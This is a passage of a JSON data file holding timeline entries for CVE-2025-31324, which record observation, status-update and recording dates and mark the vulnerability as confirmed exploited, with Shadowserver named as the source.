"record": "CVE-2025-31324", "field": "evidence.0.details.observation_date", "uuid": "aecafc14-6972-4095-82f7-ccba5b13b096", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-10-20T00:00:00Z", "date_only": false, "value": "2026-10-20T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2025-31324", "field": "status.status_updated_at", "uuid": "aecafc14-6972-4095-82f7-ccba5b13b096", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-10-22T01:00:02Z", "date_only": false, "value": "2026-10-22T01:00:02+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2025-31324", "field": "timestamps.recorded_at", "uuid": "aecafc14-6972-4095-82f7-ccba5b13b096", "status": {"status_reason": "confirmed", "exploited": true}}]}